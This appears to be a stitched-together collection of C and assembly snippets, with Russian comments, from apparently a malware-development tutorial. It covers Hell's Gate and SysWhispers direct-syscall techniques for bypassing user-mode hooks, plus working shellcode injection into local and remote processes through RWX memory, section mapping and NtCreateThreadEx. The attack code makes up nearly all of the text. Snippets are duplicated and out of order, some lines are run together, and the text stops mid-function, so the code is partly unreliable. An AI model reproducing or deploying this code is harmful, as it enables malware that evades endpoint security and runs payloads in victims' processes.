    DWORD64 dwHash;               // Хеш-значение имени системного вызова
    WORD    wSystemCall;          // SSN системного вызова
} VX_TABLE_ENTRY, * PVX_TABLE_ENTRY;

typedef struct _VX_TABLE {
    VX_TABLE_ENTRY NtAllocateVirtualMemory;
    VX_TABLE_ENTRY NtProtectVirtualMemory;
    VX_TABLE_ENTRY NtCreateThreadEx;
    VX_TABLE_ENTRY NtWaitForSingleObject;
} VX_TABLE, * PVX_TABLE;

BOOL GetVxTableEntry(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, PVX_TABLE_ENTRY pVxTableEntry) {
    PDWORD pdwAddressOfFunctions    = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfFunctions);
    PDWORD pdwAddressOfNames        = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNames);
    PWORD pwAddressOfNameOrdinales  = (PWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNameOrdinals);

    for (WORD cx = 0; cx < pImageExportDirectory->NumberOfNames; cx++) {
        PCHAR pczFunctionName  = (PCHAR)((PBYTE)pModuleBase + pdwAddressOfNames[cx]);
        PVOID pFunctionAddress = (PBYTE)pModuleBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];

        if (djb2(pczFunctionName) == pVxTableEntry->dwHash) {
            pVxTableEntry->pAddress = pFunctionAddress;

            // ...
        }
    }

    return TRUE;
}

            // Быстрый и грязный исправление в случае, если функция была перехвачена
            WORD cw = 0;
            while (TRUE) {
                // проверить, является ли это системным вызовом, в этом случае мы слишком далеко
                if (*((PBYTE)pFunctionAddress + cw) == 0x0f && *((PBYTE)pFunctionAddress + cw + 1) == 0x05)
                    return FALSE;

                // проверить, является ли это инструкцией возврата, в этом случае мы, вероятно, тоже слишком далеко
                if (*((PBYTE)pFunctionAddress + cw) == 0xc3)
                    return FALSE;

                // Первые опкоды должны быть:
                //    MOV R10, RCX
                //    MOV RCX, <системный вызов>
                if (*((PBYTE)pFunctionAddress + cw) == 0x4c
                    && *((PBYTE)pFunctionAddress + 1 + cw) == 0x8b
                    && *((PBYTE)pFunctionAddress + 2 + cw) == 0xd1
                    && *((PBYTE)pFunctionAddress + 3 + cw) == 0xb8
                    && *((PBYTE)pFunctionAddress + 6 + cw) == 0x00
                    && *((PBYTE)pFunctionAddress + 7 + cw) == 0x00) {
                    BYTE high = *((PBYTE)pFunctionAddress + 5 + cw);
                    BYTE low = *((PBYTE)pFunctionAddress + 4 + cw);
                    pVxTableEntry->wSystemCall = (high << 8) | low;
                    break;
                }

                cw++;
            };

// проверить, является ли это системным вызовом, в этом случае мы слишком далеко
if (*((PBYTE)pFunctionAddress + cw) == 0x0f && *((PBYTE)pFunctionAddress + cw + 1) == 0x05)
    return FALSE;

// проверить, является ли это инструкцией возврата, в этом случае мы, вероятно, тоже слишком далеко
if (*((PBYTE)pFunctionAddress + cw) == 0xc3)
    return FALSE;

pVxTableEntry->wSystemCall = (high << 8) | low;

BYTE high = *((PBYTE)pFunctionAddress + 5 + cw); // Смещение 5
BYTE low = *((PBYTE)pFunctionAddress + 4 + cw); // Смещение 4

data
    wSystemCall DWORD 000h              ; это глобальная переменная, используемая для сохранения SSN системного вызова

.code
    HellsGate PROC
        mov wSystemCall, 000h
        mov wSystemCall, ecx            ; обновление переменной 'wSystemCall' входным аргументом (значением регистра ecx)
        ret
    HellsGate ENDP

    HellDescent PROC
        mov r10, rcx
        mov eax, wSystemCall            ; `wSystemCall` - это SSN вызываемого системного вызова
        syscall
        ret
    HellDescent ENDP
end

NTSTATUS NtAllocateVirtualMemory(
  IN HANDLE           ProcessHandle,    // Дескриптор процесса, в котором необходимо выделить память
  IN OUT PVOID        *BaseAddress,     // Возвращаемый базовый адрес выделенной памяти
  IN ULONG_PTR        ZeroBits,         // Всегда установите в '0'
  IN OUT PSIZE_T      RegionSize,       // Размер памяти для выделения
  IN ULONG            AllocationType,   // MEM_COMMIT | MEM_RESERVE
  IN ULONG            Protect           // Защита страницы
);

NTSTATUS NtProtectVirtualMemory(
  IN HANDLE               ProcessHandle,              // Дескриптор процесса, защита памяти которого должна быть изменена
  IN OUT PVOID            *BaseAddress,               // Указатель на базовый адрес для защиты
  IN OUT PULONG           NumberOfBytesToProtect,     // Указатель на размер области для защиты
  IN ULONG                NewAccessProtection,        // Новая устанавливаемая защита памяти
  OUT PULONG              OldAccessProtection         // Указатель на переменную, которая получает предыдущую защиту доступа
);

NTSTATUS NtWriteVirtualMemory(
  IN HANDLE               ProcessHandle,          // Дескриптор процесса, память которого должна быть записана
  IN PVOID                BaseAddress,            // Базовый адрес в указанном процессе, в который записываются данные
  IN PVOID                Buffer,                 // Данные для записи
  IN ULONG                NumberOfBytesToWrite,   // Количество байтов для записи
  OUT PULONG              NumberOfBytesWritten    // Указатель на переменную, которая получает количество фактически записанных байтов
);

NTSTATUS NtCreateThreadEx(
    OUT PHANDLE                 ThreadHandle,         // Указатель на переменную HANDLE, которая получает дескриптор созданного потока
    IN     ACCESS_MASK             DesiredAccess,        // Права доступа к потоку (устанавливаются в THREAD_ALL_ACCESS - 0x1FFFFF)
    IN     POBJECT_ATTRIBUTES      ObjectAttributes,     // Указатель на структуру OBJECT_ATTRIBUTES (устанавливается в NULL)
    IN     HANDLE                  ProcessHandle,        // Дескриптор процесса, в котором должен быть создан поток
    IN     PVOID                   StartRoutine,         // Базовый адрес определяемой приложением функции, которая будет выполняться
    IN     PVOID                   Argument,             // Указатель на переменную, которая передается функции потока (устанавливается в NULL)
    IN     ULONG                   CreateFlags,          // Флаги, которые управляют созданием потока (устанавливаются в NULL)
    IN     SIZE_T                  ZeroBits,             // Устанавливаются в NULL
    IN     SIZE_T                  StackSize,            // Устанавливаются в NULL
    IN     SIZE_T                  MaximumStackSize,     // Устанавливаются в NULL
    IN     PPS_ATTRIBUTE_LIST      AttributeList         // Указатель на структуру PS_ATTRIBUTE_LIST (устанавливаются в NULL)
);

// Структура, которая хранит используемые системные вызовы
typedef struct _Syscall {

    fnNtAllocateVirtualMemory pNtAllocateVirtualMemory;
    fnNtProtectVirtualMemory  pNtProtectVirtualMemory;
    fnNtWriteVirtualMemory    pNtWriteVirtualMemory;
    fnNtCreateThreadEx        pNtCreateThreadEx;

} Syscall, *PSyscall;


// Функция, используемая для заполнения входной структуры 'St'
BOOL InitializeSyscallStruct (OUT PSyscall St) {

    HMODULE hNtdll = GetModuleHandle(L"NTDLL.DLL");
    if (!hNtdll) {
        printf("[!] GetModuleHandle Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    St->pNtAllocateVirtualMemory  = (fnNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
    St->pNtProtectVirtualMemory   = (fnNtProtectVirtualMemory)GetProcAddress(hNtdll, "NtProtectVirtualMemory");
    St->pNtWriteVirtualMemory     = (fnNtWriteVirtualMemory)GetProcAddress(hNtdll, "NtWriteVirtualMemory");
    St->pNtCreateThreadEx         = (fnNtCreateThreadEx)GetProcAddress(hNtdll, "NtCreateThreadEx");

        // проверка, пропустил ли GetProcAddress системный вызов
    if (St->pNtAllocateVirtualMemory == NULL || St->pNtProtectVirtualMemory == NULL || St->pNtWriteVirtualMemory == NULL || St->pNtCreateThreadEx == NULL)
        return FALSE;
    else
        return TRUE;
}

BOOL ClassicInjectionViaSyscalls(IN HANDLE hProcess, IN PVOID pPayload, IN SIZE_T sPayloadSize) {


    Syscall   St                     = { 0 };
    NTSTATUS  STATUS                 = 0x00;
    PVOID     pAddress               = NULL;
    ULONG     uOldProtection         = NULL;

    SIZE_T    sSize                  = sPayloadSize,
              sNumberOfBytesWritten    = NULL;
    HANDLE    hThread                = NULL;

    // Инициализация структуры 'St' для получения адресов системных вызовов
    if (!InitializeSyscallStruct(&St)){
        printf("[!] Could Not Initialize The Syscall Struct \n");
        return FALSE;
    }

//--------------------------------------------------------------------------

    // Выделение памяти
    if ((STATUS = St.pNtAllocateVirtualMemory(hProcess, &pAddress, 0, &sSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE)) != 0) {
        printf("[!] NtAllocateVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
        return FALSE;
    }

    printf("[+] Allocated Address At : 0x%p Of Size : %d \n", pAddress, sSize);
    printf("[#] Press <Enter> To Write The Payload ... ");
    getchar();

//--------------------------------------------------------------------------

    // Запись полезной нагрузки
    printf("\t[i] Writing Payload Of Size %d ... ", sPayloadSize);
    if ((STATUS = St.pNtWriteVirtualMemory(hProcess, pAddress, pPayload, sPayloadSize, &sNumberOfBytesWritten)) != 0 || sNumberOfBytesWritten != sPayloadSize) {
        printf("[!] pNtWriteVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
        printf("[i] Bytes Written : %d of %d \n", sNumberOfBytesWritten, sPayloadSize);
        return FALSE;
    }
    printf("[+] DONE \n");

//--------------------------------------------------------------------------

    // Изменение разрешений памяти на RWX
    if ((STATUS = St.pNtProtectVirtualMemory(hProcess, &pAddress, &sPayloadSize, PAGE_EXECUTE_READWRITE, &uOldProtection)) != 0) {
        printf("[!] NtProtectVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
        return FALSE;
    }

//--------------------------------------------------------------------------
    // Выполнение полезной нагрузки через поток
    printf("[#] Press <Enter> To Run The Payload ... ");
    getchar();
    printf("\t[i] Running Thread Of Entry 0x%p ... ", pAddress);
    if ((STATUS = St.pNtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, pAddress, NULL, NULL, NULL, NULL, NULL, NULL)) != 0) {
        printf("[!] NtCreateThreadEx Failed With Error : 0x%0.8X \n", STATUS);
        return FALSE;
    }

    printf("[+] DONE \n");
    printf("\t[+] Thread Created With Id : %d \n", GetThreadId(hThread));

    return TRUE;
}

  // sPayloadSize - это размер полезной нагрузки (272 байта)
  // Выделение памяти
  if ((STATUS = St.pNtAllocateVirtualMemory(hProcess, &pAddress, 0, &sPayloadSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE)) != 0) {
    return FALSE;
  }

  // значение sPayloadSize теперь равно 4096
  // Запись полезной нагрузки с sPayloadSize (NumberOfBytesToWrite) равным 4096 вместо исходного размера
  if ((STATUS = St.pNtWriteVirtualMemory(hProcess, pAddress, pPayload, sPayloadSize, &sNumberOfBytesWritten)) != 0) {
    return FALSE;
  }

python syswhispers.py -a x64 -c msvc -m jumper_randomized -f NtAllocateVirtualMemory,NtProtectVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o SysWhispers -v

BOOL ClassicInjectionViaSyscalls(IN HANDLE hProcess, IN PVOID pPayload, IN SIZE_T sPayloadSize) {


    NTSTATUS    STATUS                  = 0x00;
    PVOID        pAddress                = NULL;
    ULONG        uOldProtection          = NULL;

    SIZE_T        sSize                   = sPayloadSize,
                sNumberOfBytesWritten   = NULL;
    HANDLE        hThread                    = NULL;



    // Allocating memory
    if ((STATUS = NtAllocateVirtualMemory(hProcess, &pAddress, 0, &sSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE)) != 0) {
        printf("[!] NtAllocateVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
        return FALSE;
    }
    printf("[+] Allocated Address At : 0x%p Of Size : %d \n", pAddress, sSize);
    printf("[#] Press <Enter> To Write The Payload ... ");
    getchar();

//--------------------------------------------------------------------------
    // Writing the payload
    printf("\t[i] Writing Payload Of Size %d ... ", sPayloadSize);
    if ((STATUS = NtWriteVirtualMemory(hProcess, pAddress, pPayload, sPayloadSize, &sNumberOfBytesWritten)) != 0 || sNumberOfBytesWritten != sPayloadSize) {
        printf("[!] pNtWriteVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
        printf("[i] Bytes Written : %d of %d \n", sNumberOfBytesWritten, sPayloadSize);
        return FALSE;
    }
    printf("[+] DONE \n");

//--------------------------------------------------------------------------
    // Changing the memory's permissions to RWX
    if ((STATUS = NtProtectVirtualMemory(hProcess, &pAddress, &sPayloadSize, PAGE_EXECUTE_READWRITE, &uOldProtection)) != 0) {
        printf("[!] NtProtectVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
        return FALSE;
    }

//--------------------------------------------------------------------------
    // Executing the payload via thread
    printf("[#] Press <Enter> To Run The Payload ... ");
    getchar();
    printf("\t[i] Running Thread Of Entry 0x%p ... ", pAddress);
    if ((STATUS = NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, pAddress, NULL, NULL, NULL, NULL, NULL, NULL)) != 0) {
        printf("[!] NtCreateThreadEx Failed With Error : 0x%0.8X \n", STATUS);
        return FALSE;
    }
    printf("[+] DONE \n");
    printf("\t[+] Thread Created With Id : %d \n", GetThreadId(hThread));

    return TRUE;
}

BOOL ClassicInjectionViaSyscalls(IN PVX_TABLE pVxTable, IN HANDLE hProcess, IN PBYTE pPayload, IN SIZE_T sPayloadSize) {

    NTSTATUS    STATUS                  = 0x00;
    PVOID        pAddress                = NULL;
    ULONG        uOldProtection          = NULL;

    SIZE_T        sSize                   = sPayloadSize,
                sNumberOfBytesWritten   = NULL;
    HANDLE        hThread                    = NULL;


    // Allocating memory
    HellsGate(pVxTable->NtAllocateVirtualMemory.wSystemCall);
    if ((STATUS = HellDescent(hProcess, &pAddress, 0, &sSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE)) != 0) {
        printf("[!] NtAllocateVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
        return FALSE;
    }

    printf("[+] Allocated Address At : 0x%p Of Size : %d \n", pAddress, sSize);
    printf("[#] Press <Enter> To Write The Payload ... ");
    getchar();

//--------------------------------------------------------------------------

    // Writing the payload
    printf("\t[i] Writing Payload Of Size %d ... ", sPayloadSize);
    HellsGate(pVxTable->NtWriteVirtualMemory.wSystemCall);
    if ((STATUS = HellDescent(hProcess, pAddress, pPayload, sPayloadSize, &sNumberOfBytesWritten)) != 0 || sNumberOfBytesWritten != sPayloadSize) {
        printf("[!] pNtWriteVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
        printf("[i] Bytes Written : %d of %d \n", sNumberOfBytesWritten, sPayloadSize);
        return FALSE;
    }
    printf("[+] DONE \n");

//--------------------------------------------------------------------------

    // Changing the memory's permissions to RWX
    HellsGate(pVxTable->NtProtectVirtualMemory.wSystemCall);
    if ((STATUS = HellDescent(hProcess, &pAddress, &sPayloadSize, PAGE_EXECUTE_READWRITE, &uOldProtection)) != 0) {
        printf("[!] NtProtectVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
        return FALSE;
    }

//--------------------------------------------------------------------------
    // Executing the payload via thread
    printf("[#] Press <Enter> To Run The Payload ... ");
    getchar();
    printf("\t[i] Running Thread Of Entry 0x%p ... ", pAddress);
    HellsGate(pVxTable->NtCreateThreadEx.wSystemCall);
    if ((STATUS = HellDescent(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, pAddress, NULL, NULL, NULL, NULL, NULL, NULL)) != 0) {
        printf("[!] NtCreateThreadEx Failed With Error : 0x%0.8X \n", STATUS);
        return FALSE;
    }
    printf("[+] DONE \n");
    printf("\t[+] Thread Created With Id : %d \n", GetThreadId(hThread));


    return TRUE;
}

typedef struct _VX_TABLE {
    VX_TABLE_ENTRY NtAllocateVirtualMemory;    // Элемент таблицы для системного вызова
    VX_TABLE_ENTRY NtWriteVirtualMemory;       // Элемент таблицы для системного вызова
    VX_TABLE_ENTRY NtProtectVirtualMemory;     // Элемент таблицы для системного вызова
    VX_TABLE_ENTRY NtCreateThreadEx;           // Элемент таблицы для системного вызова
} VX_TABLE, * PVX_TABLE;

DWORD64 djb2(PBYTE str) {
    DWORD64 dwHash = 0x77347734DEADBEEF; // Старое значение: 0x7734773477347734
    INT c;

    while (c = *str++)
        dwHash = ((dwHash << 0x5) + dwHash) + c;

    return dwHash;
}

printf("#define %s%s 0x%p \n", "NtAllocateVirtualMemory", "_djb2", (DWORD64)djb2("NtAllocateVirtualMemory"));
printf("#define %s%s 0x%p \n", "NtWriteVirtualMemory", "_djb2", djb2("NtWriteVirtualMemory"));
printf("#define %s%s 0x%p \n", "NtProtectVirtualMemory", "_djb2", djb2("NtProtectVirtualMemory"));
printf("#define %s%s 0x%p \n", "NtCreateThreadEx", "_djb2", djb2("NtCreateThreadEx"));

#define NtAllocateVirtualMemory_djb2  0x7B2D1D431C81F5F6
#define NtWriteVirtualMemory_djb2     0x54AEE238645CCA7C
#define NtProtectVirtualMemory_djb2   0xA0DCC2851566E832
#define NtCreateThreadEx_djb2         0x2786FB7E75145F1A

INT main() {
    // Getting the PEB structure
    PTEB pCurrentTeb = RtlGetThreadEnvironmentBlock();
    PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock;
    if (!pCurrentPeb || !pCurrentTeb || pCurrentPeb->OSMajorVersion != 0xA)
        return 0x1;

    // Getting the NTDLL module
    PLDR_DATA_TABLE_ENTRY pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pCurrentPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);

    // Getting the EAT of Ntdll
    PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = NULL;
    if (!GetImageExportDirectory(pLdrDataEntry->DllBase, &pImageExportDirectory) || pImageExportDirectory == NULL)
        return 0x01;

//--------------------------------------------------------------------------
    // Initializing the 'Table' structure
    VX_TABLE Table = { 0 };
    Table.NtAllocateVirtualMemory.dwHash = NtAllocateVirtualMemory_djb2;
    if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtAllocateVirtualMemory))
        return 0x1;

    Table.NtWriteVirtualMemory.dwHash = NtWriteVirtualMemory_djb2;
    if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtWriteVirtualMemory))
        return 0x1;

    Table.NtProtectVirtualMemory.dwHash = NtProtectVirtualMemory_djb2;
    if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtProtectVirtualMemory))
        return 0x1;

    Table.NtCreateThreadEx.dwHash = NtCreateThreadEx_djb2;
    if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtCreateThreadEx))
        return 0x1;

//--------------------------------------------------------------------------
    // injection code - calling the 'ClassicInjectionViaSyscalls' function


// If local injection
#ifdef LOCAL_INJECTIONif (!ClassicInjectionViaSyscalls(&Table, (HANDLE)-1, Payload, sizeof(Payload)))
        return 0x1;
#endif // LOCAL_INJECTION// If remote injection
#ifdef REMOTE_INJECTION// Open a handle to the target process
    printf("[i] Targeting process of id : %d \n", PROCESS_ID);
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PROCESS_ID);
    if (hProcess == NULL) {
        printf("[!] OpenProcess Failed With Error : %d \n", GetLastError());
        return -1;
    }

    if (!ClassicInjectionViaSyscalls(&Table, hProcess, Payload, sizeof(Payload)))
        return 0x1;

#endif // REMOTE_INJECTIONreturn 0x00;
}

#define LOCAL_INJECTION
#ifndef LOCAL_INJECTION
#define REMOTE_INJECTION
// Устанавливаем идентификатор целевого процесса PID
#define PROCESS_ID    18784
#endif // !LOCAL_INJECTION

NTSTATUS NtCreateSection(
OUT PHANDLE SectionHandle, // Указатель на переменную HANDLE, которая получает дескриптор объекта секции
IN ACCESS_MASK DesiredAccess, // Тип прав доступа к дескриптору секции
IN POBJECT_ATTRIBUTES ObjectAttributes, // Указатель на структуру OBJECT_ATTRIBUTES (установить в NULL)
IN PLARGE_INTEGER MaximumSize, // Максимальный размер секции
IN ULONG SectionPageProtection, // Защита, которая будет установлена на каждой странице в секции
IN ULONG AllocationAttributes, // Атрибуты выделения секции (флаги SEC_XXX)
IN HANDLE FileHandle // Опционально указывает дескриптор открытого файла (установить в NULL)
);

typedef union _LARGE_INTEGER {
struct {
DWORD LowPart;
LONG HighPart;
} DUMMYSTRUCTNAME;
struct {
DWORD LowPart;
LONG HighPart;
} u;
LONGLONG QuadPart;
} LARGE_INTEGER;

NTSTATUS NtMapViewOfSection(
IN HANDLE SectionHandle, // HANDLE объекта секции, созданного 'NtCreateSection'
IN HANDLE ProcessHandle, // Дескриптор процесса, которому нужно отобразить вид
IN OUT PVOID *BaseAddress, // Указатель на переменную PVOID, которая получает базовый адрес отображения
IN ULONG ZeroBits, // установить в NULL
IN SIZE_T CommitSize, // установить в NULL
IN OUT PLARGE_INTEGER SectionOffset, // установить в NULL
IN OUT PSIZE_T ViewSize, // Указатель на переменную SIZE_T, которая содержит размер выделяемой памяти
IN SECTION_INHERIT InheritDisposition, // Как вид должен быть разделен с дочерними процессами
IN ULONG AllocationType, // тип выделения, который будет выполнен (установить в NULL)
IN ULONG Protect // Защита, которая будет установлена на каждой странице в секции
);

NTSTATUS NtUnmapViewOfSection(
IN HANDLE ProcessHandle, // Дескриптор процесса, которому нужно отменить отображение
IN PVOID BaseAddress // Базовый адрес отображения, который был предоставлен ранее
);

NTSTATUS NtClose(
IN HANDLE Handle // Дескриптор, который нужно закрыть
);

// структура, используемая для хранения системных вызовов
typedef struct _Syscall {

    fnNtCreateSection       pNtCreateSection;
    fnNtMapViewOfSection    pNtMapViewOfSection;
    fnUnmapViewOfSection    pNtUnmapViewOfSection;
    fnNtClose               pNtClose;
    fnNtCreateThreadEx      pNtCreateThreadEx;

}Syscall, * PSyscall;

// функция, используемая для заполнения входной структуры 'St'
BOOL InitializeSyscallStruct (OUT PSyscall St) {

    HMODULE hNtdll    = GetModuleHandle(L"NTDLL.DLL");
    if (!hNtdll) {
        printf("[!] GetModuleHandle не удалось. Ошибка: %d \n", GetLastError());
        return FALSE;
    }

    St->pNtCreateSection         = (fnNtCreateSection)GetProcAddress(hNtdll, "NtCreateSection");
    St->pNtMapViewOfSection      = (fnNtMapViewOfSection)GetProcAddress(hNtdll, "NtMapViewOfSection");
    St->pNtUnmapViewOfSection    = (fnUnmapViewOfSection)GetProcAddress(hNtdll, "NtUnmapViewOfSection");
    St->pNtClose                 = (fnNtClose)GetProcAddress(hNtdll, "NtClose");
    St->pNtCreateThreadEx        = (fnNtCreateThreadEx)GetProcAddress(hNtdll, "NtCreateThreadEx");

     // проверка, пропустил ли GetProcAddress системный вызов
    if (St->pNtCreateSection == NULL || St->pNtMapViewOfSection == NULL || St->pNtUnmapViewOfSection == NULL || St->pNtClose == NULL || St->pNtCreateThreadEx == NULL)
        return FALSE;
    else
        return TRUE;
}

BOOL LocalMappingInjectionViaSyscalls(IN PVOID pPayload, IN SIZE_T sPayloadSize) {

    HANDLE                hSection        = NULL;
    HANDLE                hThread            = NULL;
    PVOID                pAddress        = NULL;
    NTSTATUS            STATUS            = NULL;
    SIZE_T                sViewSize        = NULL;
    LARGE_INTEGER        MaximumSize        = {
            .HighPart = 0,
            .LowPart = sPayloadSize
    };
    Syscall                St                = { 0 };

    // Инициализация структуры 'St' для получения адресов системных вызовов
    if (!InitializeSyscallStruct(&St)) {
        printf("[!] Could Not Initialize The Syscall Struct \n");
        return FALSE;
    }

//--------------------------------------------------------------------------
    // Выделение локального отображения

    if ((STATUS = St.pNtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, &MaximumSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL)) != 0) {
        printf("[!] NtCreateSection Failed With Error : 0x%0.8X \n", STATUS);
        return FALSE;
    }

    if ((STATUS = St.pNtMapViewOfSection(hSection, (HANDLE)-1, &pAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL, PAGE_EXECUTE_READWRITE)) != 0) {
        printf("[!] NtMapViewOfSection Failed With Error : 0x%0.8X \n", STATUS);
        return FALSE;
    }
    printf("[+] Allocated Address At : 0x%p Of Size : %d \n", pAddress, sViewSize);

//--------------------------------------------------------------------------
    // Запись полезной нагрузки

    printf("[#] Press <Enter> To Write The Payload ... ");
    getchar();
    memcpy(pAddress, pPayload, sPayloadSize);
    printf("\t[+] Payload is Copied From 0x%p To 0x%p \n", pPayload, pAddress);

//--------------------------------------------------------------------------

    // Выполнение полезной нагрузки с помощью создания потока

    printf("[#] Press <Enter> To Run The Payload ... ");
    getchar();
    printf("\t[i] Running Thread Of Entry 0x%p ... ", pAddress);
    if ((STATUS = St.pNtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, (HANDLE)-1, pAddress, NULL, NULL, NULL, NULL, NULL, NULL)) != 0) {
        printf("[!] NtCreateThreadEx Failed With Error : 0x%0.8X \n", STATUS);
        return FALSE;
    }
    printf("[+] DONE \n");
    printf("\t[+] Thread Created With Id : %d \n", GetThreadId(hThread));

//--------------------------------------------------------------------------

    // Отключение локального отображения - только после выполнения полезной нагрузки
    if ((STATUS = St.pNtUnmapViewOfSection((HANDLE)-1, pAddress)) != 0) {
        printf("[!] NtUnmapViewOfSection Failed With Error : 0x%0.8X \n", STATUS);
        return FALSE;
    }

    // Закрытие дескриптора секции
    if ((STATUS = St.pNtClose(hSection)) != 0) {
        printf("[!] NtClose Failed With Error : 0x%0.8X \n", STATUS);
        return FALSE;
    }

    return TRUE;
}

BOOL RemoteMappingInjectionViaSyscalls(IN HANDLE hProcess, IN PVOID pPayload, IN SIZE_T sPayloadSize) {

    HANDLE                hSection            = NULL;
    HANDLE                hThread                = NULL;
    PVOID                pLocalAddress        = NULL,
                        pRemoteAddress        = NULL;
    NTSTATUS            STATUS                = NULL;
    SIZE_T                sViewSize            = NULL;
    LARGE_INTEGER        MaximumSize         = {
            .HighPart = 0,
            .LowPart = sPayloadSize
    };
    Syscall                St                    = { 0 };

    // Инициализация структуры 'St' для получения адресов системных вызовов
    if (!InitializeSyscallStruct(&St)) {
        printf("[!] Could Not Initialize The Syscall Struct \n");
        return FALSE;
    }

    // Выделение отображения в удаленном процессе
    if ((STATUS = St.pNtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, &MaximumSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL)) != 0) {
        printf("[!] NtCreateSection Failed With Error : 0x%0.8X \n", STATUS);
        return FALSE;
    }

    if ((STATUS = St.pNtMapViewOfSection(hSection, (HANDLE)-1, &pLocalAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL, PAGE_EXECUTE_READWRITE)) != 0) {
        printf("[!] NtMapViewOfSection Failed With Error : 0x%0.8X \n", STATUS);
        return FALSE;
    }

    printf("[+] Allocated Local Address At : 0x%p Of Size : %d \n", pLocalAddress, sViewSize);

    // Запись полезной нагрузки в локальное отображение
    printf("[#] Press <Enter> To Write The Payload ... ");
    getchar();
    memcpy(pLocalAddress, pPayload, sPayloadSize);
    printf("\t[+] Payload is Copied From 0x%p To 0x%p \n", pPayload, pLocalAddress);

    // Получение адреса в удаленном процессе
    if ((STATUS = St.pNtMapViewOfSection(hSection, hProcess, &pRemoteAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL, PAGE_EXECUTE_READWRITE)) != 0) {
        printf("[!] NtMapViewOfSection Failed With Error : 0x%0.8X \n", STATUS);
        return FALSE;
    }
    printf("[+] Allocated Remote Address At : 0x%p Of Size : %d \n", pRemoteAddress, sViewSize);

    // Запуск полезной нагрузки в удаленном процессе
    printf("[#] Press <Enter> To Run The Payload ... ");
    getchar();
    printf("\t[i] Running Thread Of Entry 0x%p In The Remote Process ... ", pRemoteAddress);
    if ((STATUS = St.pNtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, pRemoteAddress, NULL, NULL, NULL, NULL, NULL, NULL)) != 0) {
        printf("[!] NtCreateThreadEx Failed With Error : 0x%0.8X \n", STATUS);
        return FALSE;
    }
    printf("[+] DONE \n");
    printf("\t[+] Thread Created With Id : %d \n", GetThreadId(hThread));

    // Освобождение локального отображения
    if ((STATUS = St.pNtUnmapViewOfSection((HANDLE)-1, pLocalAddress)) != 0) {
        printf("[!] NtUnmapViewOfSection Failed With Error : 0x%0.8X \n", STATUS);
        return FALSE;
    }

    // Закрытие дескриптора секции
    if ((STATUS = St.pNtClose(hSection)) != 0) {
        printf("[!] NtClose Failed With Error : 0x%0.8X \n", STATUS);
        return FALSE;
    }

    return TRUE;
}

python syswhispers.py -a x64 -c msvc -m jumper_randomized -f NtCreateSection,NtMapViewOfSection,NtUnmapViewOfSection,NtClose,NtCreateThreadEx -o SysWhispers -v*

BOOL LocalMappingInjectionViaSyscalls(IN PVOID pPayload, IN SIZE_T sPayloadSize) {

    HANDLE                hSection        = NULL;
    HANDLE                hThread            = NULL;
    PVOID                pAddress        = NULL;
    NTSTATUS            STATUS            = NULL;
    SIZE_T                sViewSize        = NULL;
    LARGE_INTEGER        MaximumSize        = {
            .HighPart = 0,
            .LowPart = sPayloadSize
    };

//--------------------------------------------------------------------------
    // Выделение локального представления

    if ((STATUS = NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, &MaximumSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL)) != 0) {
        printf("[!] NtCreateSection завершилась с ошибкой: 0x%0.8X \n", STATUS);
        return FALSE;
    }

    if ((STATUS = NtMapViewOfSection(hSection, (HANDLE)-1, &pAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL, PAGE_EXECUTE_READWRITE)) != 0) {
        printf("[!] NtMapViewOfSection завершилась с ошибкой: 0x%0.8X \n", STATUS);
        return FALSE;
    }
    printf("[+] Выделен адрес: 0x%p размером: %d \n", pAddress, sViewSize);

//--------------------------------------------------------------------------

    // Запись полезной нагрузки
    printf("[#] Нажмите <Enter>, чтобы записать полезную нагрузку ... ");
    getchar();
    memcpy(pAddress, pPayload, sPayloadSize);
    printf("\t[+] Полезная нагрузка скопирована с 0x%p по 0x%p \n", pPayload, pAddress);

//--------------------------------------------------------------------------

    // Выполнение полезной нагрузки через создание потока

